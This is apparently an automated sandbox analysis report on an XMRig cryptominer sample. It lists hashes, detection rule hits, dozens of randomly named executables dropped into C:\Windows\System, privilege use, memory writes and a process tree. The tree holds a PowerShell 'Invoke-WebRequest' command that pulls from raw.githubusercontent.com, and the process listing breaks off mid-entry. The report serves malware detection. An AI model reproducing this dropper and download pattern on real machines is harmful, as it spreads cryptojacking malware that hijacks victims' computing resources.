xmrig | 6f93fd6216cbb7d1163b6199dcf947d0feafcac74939f13b3136ab0ca3c7e4cd

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
11/05/2024, 00:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
Size

3.3MB
MD5

3adb607d458969940819c63695be0b30
SHA1

bba5343088b732d54f611229e36205c41cf4a1b2
SHA256

6f93fd6216cbb7d1163b6199dcf947d0feafcac74939f13b3136ab0ca3c7e4cd
SHA512

54aea45975099b0ea201b853562c4a8b7b55e7bf5e28652b38f7f595f9b3bc05e03bdc7751c2a4d0b0b2d6b7ea9bc4f06a6697b2b971a4946c2fb60b2a980edd
SSDEEP

98304:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWS:SbBeSFkW

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/116-0-0x00007FF685720000-0x00007FF685B16000-memory.dmp	xmrig
behavioral2/files/0x0008000000023405-15.dat	xmrig
behavioral2/files/0x00060000000232a4-13.dat	xmrig
behavioral2/files/0x0007000000023406-30.dat	xmrig
behavioral2/files/0x000700000002340c-43.dat	xmrig
behavioral2/files/0x000700000002340d-70.dat	xmrig
behavioral2/files/0x000700000002340f-76.dat	xmrig
behavioral2/files/0x0007000000023410-82.dat	xmrig
behavioral2/memory/4496-89-0x00007FF73D990000-0x00007FF73DD86000-memory.dmp	xmrig
behavioral2/memory/1104-103-0x00007FF726ED0000-0x00007FF7272C6000-memory.dmp	xmrig
behavioral2/memory/4856-106-0x00007FF64EA30000-0x00007FF64EE26000-memory.dmp	xmrig
behavioral2/memory/2480-109-0x00007FF648360000-0x00007FF648756000-memory.dmp	xmrig
behavioral2/memory/2060-111-0x00007FF666A30000-0x00007FF666E26000-memory.dmp	xmrig
behavioral2/memory/3060-110-0x00007FF74AA30000-0x00007FF74AE26000-memory.dmp	xmrig
behavioral2/memory/1816-108-0x00007FF60C7A0000-0x00007FF60CB96000-memory.dmp	xmrig
behavioral2/memory/1048-107-0x00007FF7C45C0000-0x00007FF7C49B6000-memory.dmp	xmrig
behavioral2/memory/4412-105-0x00007FF671B60000-0x00007FF671F56000-memory.dmp	xmrig
behavioral2/memory/3360-104-0x00007FF647D40000-0x00007FF648136000-memory.dmp	xmrig
behavioral2/memory/4568-102-0x00007FF648A80000-0x00007FF648E76000-memory.dmp	xmrig
behavioral2/memory/992-101-0x00007FF68A110000-0x00007FF68A506000-memory.dmp	xmrig
behavioral2/memory/1008-90-0x00007FF749680000-0x00007FF749A76000-memory.dmp	xmrig
behavioral2/files/0x0007000000023413-86.dat	xmrig
behavioral2/files/0x0007000000023412-84.dat	xmrig
behavioral2/memory/4888-81-0x00007FF76C5B0000-0x00007FF76C9A6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023411-78.dat	xmrig
behavioral2/memory/3952-73-0x00007FF7BE500000-0x00007FF7BE8F6000-memory.dmp	xmrig
behavioral2/files/0x000700000002340e-67.dat	xmrig
behavioral2/files/0x000700000002340b-62.dat	xmrig
behavioral2/files/0x000700000002340a-53.dat	xmrig
behavioral2/files/0x0007000000023409-51.dat	xmrig
behavioral2/files/0x0007000000023408-50.dat	xmrig
behavioral2/files/0x0007000000023407-36.dat	xmrig
behavioral2/memory/1028-10-0x00007FF6841A0000-0x00007FF684596000-memory.dmp	xmrig
behavioral2/files/0x000700000002346e-348.dat	xmrig
behavioral2/files/0x0007000000023414-340.dat	xmrig
behavioral2/memory/224-363-0x00007FF7492D0000-0x00007FF7496C6000-memory.dmp	xmrig
behavioral2/memory/4164-367-0x00007FF737430000-0x00007FF737826000-memory.dmp	xmrig
behavioral2/files/0x0007000000023484-397.dat	xmrig
behavioral2/files/0x0007000000023478-409.dat	xmrig
behavioral2/memory/4584-418-0x00007FF700C20000-0x00007FF701016000-memory.dmp	xmrig
behavioral2/memory/3272-427-0x00007FF63F830000-0x00007FF63FC26000-memory.dmp	xmrig
behavioral2/files/0x0007000000023490-435.dat	xmrig
behavioral2/memory/4140-434-0x00007FF617050000-0x00007FF617446000-memory.dmp	xmrig
behavioral2/files/0x0007000000023495-453.dat	xmrig
behavioral2/files/0x0007000000023494-452.dat	xmrig
behavioral2/files/0x0007000000023493-451.dat	xmrig
behavioral2/files/0x0007000000023492-450.dat	xmrig
behavioral2/files/0x0007000000023486-428.dat	xmrig
behavioral2/memory/2652-433-0x00007FF724050000-0x00007FF724446000-memory.dmp	xmrig
behavioral2/files/0x000700000002348e-431.dat	xmrig
behavioral2/files/0x000700000002348d-425.dat	xmrig
behavioral2/files/0x0007000000023480-420.dat	xmrig
behavioral2/files/0x000700000002348a-419.dat	xmrig
behavioral2/files/0x000700000002347d-403.dat	xmrig
behavioral2/memory/5104-402-0x00007FF7A31C0000-0x00007FF7A35B6000-memory.dmp	xmrig
behavioral2/memory/1432-385-0x00007FF7C90B0000-0x00007FF7C94A6000-memory.dmp	xmrig
behavioral2/files/0x0007000000023473-383.dat	xmrig
behavioral2/files/0x0007000000023472-372.dat	xmrig
behavioral2/files/0x0007000000023471-357.dat	xmrig
behavioral2/memory/116-1724-0x00007FF685720000-0x00007FF685B16000-memory.dmp	xmrig
behavioral2/memory/1028-2009-0x00007FF6841A0000-0x00007FF684596000-memory.dmp	xmrig
behavioral2/memory/4164-2186-0x00007FF737430000-0x00007FF737826000-memory.dmp	xmrig
behavioral2/memory/4888-3103-0x00007FF76C5B0000-0x00007FF76C9A6000-memory.dmp	xmrig
behavioral2/memory/992-3112-0x00007FF68A110000-0x00007FF68A506000-memory.dmp	xmrig

Blocklisted process makes network request 9 IoCs

flow	pid	Process
3	3904	powershell.exe
5	3904	powershell.exe
7	3904	powershell.exe
8	3904	powershell.exe
10	3904	powershell.exe
11	3904	powershell.exe
13	3904	powershell.exe
14	3904	powershell.exe
15	3904	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3904	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
1028	tMDVmEO.exe
2480	rGNWdwh.exe
3952	mRHYJYB.exe
4888	WKoCAGO.exe
4496	gQwCUmI.exe
1008	ogxCkKF.exe
992	uoiJNYN.exe
4568	MUVTHXF.exe
1104	UlcqAGB.exe
3360	UZXGRLb.exe
4412	NHWcKmf.exe
4856	PMFLQcA.exe
1048	ZvZPgUo.exe
3060	HCnvCtB.exe
1816	ztExKJJ.exe
2060	mipyUxR.exe
224	NaYJEWV.exe
1432	wBeQSzC.exe
5104	VaaFnGU.exe
4164	RXiPekL.exe
4584	sshnffh.exe
2652	NIQDfXa.exe
3272	FUbZJyA.exe
4140	vHQOuBc.exe
4828	uwTjeHG.exe
1416	RFmIoTk.exe
3652	thsHzrc.exe
1360	IWkcvvV.exe
2204	vBwbdAP.exe
2984	timXuAn.exe
4436	FOsnmOn.exe
2628	rGxVTHa.exe
4224	TyeSNjO.exe
2680	xgvbBhQ.exe
1240	rYnrOii.exe
2032	hZajREC.exe
2384	vVQLVjR.exe
732	GRuDyeo.exe
2484	tzWgLIQ.exe
1612	qspDBuF.exe
1172	faPDhSy.exe
4564	LeobatE.exe
4440	yRmxMAx.exe
2852	xuoyrzB.exe
3180	VfaVrlh.exe
4380	zxfJaWn.exe
1316	lkLsvov.exe
3220	XbHeuCp.exe
2088	YoZwvmg.exe
2200	KlmSvIM.exe
2396	riCIUGQ.exe
3420	CIIcEcg.exe
3764	HyxKSJM.exe
2668	kpAwwYU.exe
4172	nyAYgPB.exe
3096	nDXJJas.exe
540	yPZNaFj.exe
2096	oxQeWoR.exe
4892	VSJFnYu.exe
1168	zSuAiRe.exe
4684	DaobhdH.exe
3276	UVgdDei.exe
1540	fjYukrr.exe
2284	KCaAOQk.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/116-0-0x00007FF685720000-0x00007FF685B16000-memory.dmp	upx
behavioral2/files/0x0008000000023405-15.dat	upx
behavioral2/files/0x00060000000232a4-13.dat	upx
behavioral2/files/0x0007000000023406-30.dat	upx
behavioral2/files/0x000700000002340c-43.dat	upx
behavioral2/files/0x000700000002340d-70.dat	upx
behavioral2/files/0x000700000002340f-76.dat	upx
behavioral2/files/0x0007000000023410-82.dat	upx
behavioral2/memory/4496-89-0x00007FF73D990000-0x00007FF73DD86000-memory.dmp	upx
behavioral2/memory/1104-103-0x00007FF726ED0000-0x00007FF7272C6000-memory.dmp	upx
behavioral2/memory/4856-106-0x00007FF64EA30000-0x00007FF64EE26000-memory.dmp	upx
behavioral2/memory/2480-109-0x00007FF648360000-0x00007FF648756000-memory.dmp	upx
behavioral2/memory/2060-111-0x00007FF666A30000-0x00007FF666E26000-memory.dmp	upx
behavioral2/memory/3060-110-0x00007FF74AA30000-0x00007FF74AE26000-memory.dmp	upx
behavioral2/memory/1816-108-0x00007FF60C7A0000-0x00007FF60CB96000-memory.dmp	upx
behavioral2/memory/1048-107-0x00007FF7C45C0000-0x00007FF7C49B6000-memory.dmp	upx
behavioral2/memory/4412-105-0x00007FF671B60000-0x00007FF671F56000-memory.dmp	upx
behavioral2/memory/3360-104-0x00007FF647D40000-0x00007FF648136000-memory.dmp	upx
behavioral2/memory/4568-102-0x00007FF648A80000-0x00007FF648E76000-memory.dmp	upx
behavioral2/memory/992-101-0x00007FF68A110000-0x00007FF68A506000-memory.dmp	upx
behavioral2/memory/1008-90-0x00007FF749680000-0x00007FF749A76000-memory.dmp	upx
behavioral2/files/0x0007000000023413-86.dat	upx
behavioral2/files/0x0007000000023412-84.dat	upx
behavioral2/memory/4888-81-0x00007FF76C5B0000-0x00007FF76C9A6000-memory.dmp	upx
behavioral2/files/0x0007000000023411-78.dat	upx
behavioral2/memory/3952-73-0x00007FF7BE500000-0x00007FF7BE8F6000-memory.dmp	upx
behavioral2/files/0x000700000002340e-67.dat	upx
behavioral2/files/0x000700000002340b-62.dat	upx
behavioral2/files/0x000700000002340a-53.dat	upx
behavioral2/files/0x0007000000023409-51.dat	upx
behavioral2/files/0x0007000000023408-50.dat	upx
behavioral2/files/0x0007000000023407-36.dat	upx
behavioral2/memory/1028-10-0x00007FF6841A0000-0x00007FF684596000-memory.dmp	upx
behavioral2/files/0x000700000002346e-348.dat	upx
behavioral2/files/0x0007000000023414-340.dat	upx
behavioral2/memory/224-363-0x00007FF7492D0000-0x00007FF7496C6000-memory.dmp	upx
behavioral2/memory/4164-367-0x00007FF737430000-0x00007FF737826000-memory.dmp	upx
behavioral2/files/0x0007000000023484-397.dat	upx
behavioral2/files/0x0007000000023478-409.dat	upx
behavioral2/memory/4584-418-0x00007FF700C20000-0x00007FF701016000-memory.dmp	upx
behavioral2/memory/3272-427-0x00007FF63F830000-0x00007FF63FC26000-memory.dmp	upx
behavioral2/files/0x0007000000023490-435.dat	upx
behavioral2/memory/4140-434-0x00007FF617050000-0x00007FF617446000-memory.dmp	upx
behavioral2/files/0x0007000000023495-453.dat	upx
behavioral2/files/0x0007000000023494-452.dat	upx
behavioral2/files/0x0007000000023493-451.dat	upx
behavioral2/files/0x0007000000023492-450.dat	upx
behavioral2/files/0x0007000000023486-428.dat	upx
behavioral2/memory/2652-433-0x00007FF724050000-0x00007FF724446000-memory.dmp	upx
behavioral2/files/0x000700000002348e-431.dat	upx
behavioral2/files/0x000700000002348d-425.dat	upx
behavioral2/files/0x0007000000023480-420.dat	upx
behavioral2/files/0x000700000002348a-419.dat	upx
behavioral2/files/0x000700000002347d-403.dat	upx
behavioral2/memory/5104-402-0x00007FF7A31C0000-0x00007FF7A35B6000-memory.dmp	upx
behavioral2/memory/1432-385-0x00007FF7C90B0000-0x00007FF7C94A6000-memory.dmp	upx
behavioral2/files/0x0007000000023473-383.dat	upx
behavioral2/files/0x0007000000023472-372.dat	upx
behavioral2/files/0x0007000000023471-357.dat	upx
behavioral2/memory/116-1724-0x00007FF685720000-0x00007FF685B16000-memory.dmp	upx
behavioral2/memory/1028-2009-0x00007FF6841A0000-0x00007FF684596000-memory.dmp	upx
behavioral2/memory/4164-2186-0x00007FF737430000-0x00007FF737826000-memory.dmp	upx
behavioral2/memory/4888-3103-0x00007FF76C5B0000-0x00007FF76C9A6000-memory.dmp	upx
behavioral2/memory/992-3112-0x00007FF68A110000-0x00007FF68A506000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\bybiEva.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\AweHosh.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\vfBulqC.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\kTamDYG.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\tYYMMIo.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\cazAXyE.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\bPzKIqa.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\NdDOvgO.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\bvwmvhV.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\hZajREC.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\NWpwxiY.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\mDNLvBE.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\kNTGgvf.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\ksBkdTN.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\HLaRosw.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\VOjfnYH.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\ZDJIEAF.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\oYtRGtM.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\LLoGczk.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\xkMOxOS.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\uMqgLTc.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\PqtNZYj.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\yQKLhvK.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\tdjAoVX.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\hzvzopW.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\YDTPprH.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\JNPiTHo.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\DkhWPXw.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\ttXeQXz.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\qEDAucx.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\jiWoUVT.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\IDcxHWH.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\gRBtyIe.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\RZBQAKj.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\nrcFpUl.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\jHxMpuN.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\HjcXNjL.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\snIcutS.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\EsYnxxE.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\jTummdx.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\pRtdjgh.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\NiAeyfO.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\WEwAqKN.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\Snedxfs.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\rUkTAeL.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\jlOgZso.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\tVDSmtt.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\yLTxaCl.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\AFkQqbc.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\tiRiRcn.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\zLHpcdB.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\kwOYitx.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\ATwjghy.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\HHLwXpN.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\pVJHoGA.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\QnHJVOA.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\NwFKaTa.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\tyJSGnK.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\QtiYWYh.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\CbQvorz.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\sCdxJLu.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\zTLcalB.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\nvwukHj.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
File created	C:\Windows\System\wwOrNjO.exe	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3904	powershell.exe
3904	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
Token: SeDebugPrivilege	3904	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 116 wrote to memory of 3904	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	83
PID 116 wrote to memory of 3904	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	83
PID 116 wrote to memory of 1028	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	84
PID 116 wrote to memory of 1028	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	84
PID 116 wrote to memory of 2480	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	85
PID 116 wrote to memory of 2480	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	85
PID 116 wrote to memory of 3952	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	86
PID 116 wrote to memory of 3952	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	86
PID 116 wrote to memory of 4888	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	87
PID 116 wrote to memory of 4888	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	87
PID 116 wrote to memory of 4496	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	88
PID 116 wrote to memory of 4496	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	88
PID 116 wrote to memory of 1008	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	89
PID 116 wrote to memory of 1008	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	89
PID 116 wrote to memory of 992	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	90
PID 116 wrote to memory of 992	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	90
PID 116 wrote to memory of 4568	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	91
PID 116 wrote to memory of 4568	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	91
PID 116 wrote to memory of 1104	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	92
PID 116 wrote to memory of 1104	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	92
PID 116 wrote to memory of 3360	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	93
PID 116 wrote to memory of 3360	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	93
PID 116 wrote to memory of 4412	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	94
PID 116 wrote to memory of 4412	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	94
PID 116 wrote to memory of 4856	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	95
PID 116 wrote to memory of 4856	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	95
PID 116 wrote to memory of 1048	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	96
PID 116 wrote to memory of 1048	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	96
PID 116 wrote to memory of 3060	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	97
PID 116 wrote to memory of 3060	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	97
PID 116 wrote to memory of 1816	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	98
PID 116 wrote to memory of 1816	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	98
PID 116 wrote to memory of 2060	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	99
PID 116 wrote to memory of 2060	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	99
PID 116 wrote to memory of 224	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	100
PID 116 wrote to memory of 224	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	100
PID 116 wrote to memory of 1432	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	101
PID 116 wrote to memory of 1432	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	101
PID 116 wrote to memory of 5104	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	102
PID 116 wrote to memory of 5104	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	102
PID 116 wrote to memory of 4164	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	103
PID 116 wrote to memory of 4164	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	103
PID 116 wrote to memory of 4584	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	104
PID 116 wrote to memory of 4584	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	104
PID 116 wrote to memory of 2652	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	105
PID 116 wrote to memory of 2652	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	105
PID 116 wrote to memory of 3272	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	106
PID 116 wrote to memory of 3272	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	106
PID 116 wrote to memory of 4140	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	107
PID 116 wrote to memory of 4140	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	107
PID 116 wrote to memory of 4828	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	108
PID 116 wrote to memory of 4828	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	108
PID 116 wrote to memory of 1416	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	109
PID 116 wrote to memory of 1416	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	109
PID 116 wrote to memory of 3652	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	110
PID 116 wrote to memory of 3652	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	110
PID 116 wrote to memory of 1360	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	112
PID 116 wrote to memory of 1360	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	112
PID 116 wrote to memory of 2204	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	113
PID 116 wrote to memory of 2204	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	113
PID 116 wrote to memory of 2984	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	114
PID 116 wrote to memory of 2984	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	114
PID 116 wrote to memory of 2032	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	115
PID 116 wrote to memory of 2032	116	3adb607d458969940819c63695be0b30_NeikiAnalytics.exe	115

C:\Users\Admin\AppData\Local\Temp\3adb607d458969940819c63695be0b30_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\3adb607d458969940819c63695be0b30_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3904
- C:\Windows\System\tMDVmEO.exe
  C:\Windows\System\tMDVmEO.exe
  2⤵
  - Executes dropped EXE
  PID:1028
- C:\Windows\System\rGNWdwh.exe
  C:\Windows\System\rGNWdwh.exe
  2⤵
  - Executes dropped EXE
  PID:2480
- C:\Windows\System\mRHYJYB.exe
  C:\Windows\System\mRHYJYB.exe
  2⤵
  - Executes dropped EXE
  PID:3952
- C:\Windows\System\WKoCAGO.exe
  C:\Windows\System\WKoCAGO.exe
  2⤵
  - Executes dropped EXE
  PID:4888
- C:\Windows\System\gQwCUmI.exe
  C:\Windows\System\gQwCUmI.exe
  2⤵
  - Executes dropped EXE
  PID:4496
- C:\Windows\System\ogxCkKF.exe
  C:\Windows\System\ogxCkKF.exe
  2⤵
  - Executes dropped EXE
  PID:1008
- C:\Windows\System\uoiJNYN.exe
  C:\Windows\System\uoiJNYN.exe
  2⤵
  - Executes dropped EXE
  PID:992
- C:\Windows\System\MUVTHXF.exe
  C:\Windows\System\MUVTHXF.exe
  2⤵
  - Executes dropped EXE
  PID:4568
- C:\Windows\System\UlcqAGB.exe
  C:\Windows\System\UlcqAGB.exe
  2⤵
  - Executes dropped EXE
  PID:1104
- C:\Windows\System\UZXGRLb.exe
  C:\Windows\System\UZXGRLb.exe
  2⤵
  - Executes dropped EXE
  PID:3360
- C:\Windows\System\NHWcKmf.exe
  C:\Windows\System\NHWcKmf.exe
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Windows\System\PMFLQcA.exe
  C:\Windows\System\PMFLQcA.exe
  2⤵
  - Executes dropped EXE
  PID:4856
- C:\Windows\System\ZvZPgUo.exe
  C:\Windows\System\ZvZPgUo.exe
  2⤵
  - Executes dropped EXE
  PID:1048
- C:\Windows\System\HCnvCtB.exe
  C:\Windows\System\HCnvCtB.exe
  2⤵
  - Executes dropped EXE
  PID:3060
- C:\Windows\System\ztExKJJ.exe
  C:\Windows\System\ztExKJJ.exe
  2⤵
  - Executes dropped EXE
  PID:1816
- C:\Windows\System\mipyUxR.exe
  C:\Windows\System\mipyUxR.exe
  2⤵
  - Executes dropped EXE
  PID:2060
- C:\Windows\System\NaYJEWV.exe
  C:\Windows\System\NaYJEWV.exe
  2⤵
  - Executes dropped EXE
  PID:224
- C:\Windows\System\wBeQSzC.exe
  C:\Windows\System\wBeQSzC.exe
  2⤵
  - Executes dropped EXE
  PID:1432
- C:\Windows\System\VaaFnGU.exe
  C:\Windows\System\VaaFnGU.exe
  2⤵
  - Executes dropped EXE
  PID:5104
- C:\Windows\System\RXiPekL.exe
  C:\Windows\System\RXiPekL.exe
  2⤵
  - Executes dropped EXE
  PID:4164
- C:\Windows\System\sshnffh.exe
